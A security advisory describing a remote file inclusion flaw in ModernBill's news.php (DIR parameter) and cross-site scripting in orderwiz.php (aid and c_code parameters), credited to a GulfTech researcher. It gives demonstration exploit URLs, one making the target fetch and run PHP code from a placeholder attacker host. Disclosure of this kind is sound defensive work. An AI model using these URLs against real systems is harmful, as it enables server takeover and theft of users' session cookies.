Description:
A vulnerability was reported in ModernBill. A remote user can execute arbitrary commands on the target user's system. A remote user can also conduct cross-site scripting attacks.
The 'news.php' sample script does not properly validate user-supplied input in the 'DIR' parameter. A remote user can supply a specially crafted parameter value to cause arbitrary PHP code in the 'include/functions.inc.php' file located on a remote site to be included and executed by the target system. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/samples/news.php?DIR=http://[attacker]/
The 'orderwiz.php' script does not properly validate user-supplied input in the 'aid' and 'c_code' parameters. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the ModernBill software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/order/orderwiz.php?v=1&aid=&c_code=[XSS]
http://[target]/order/orderwiz.php?v=1&aid=[XSS]
James Bercegay of the GulfTech Security Research Team discovered this vulnerability.
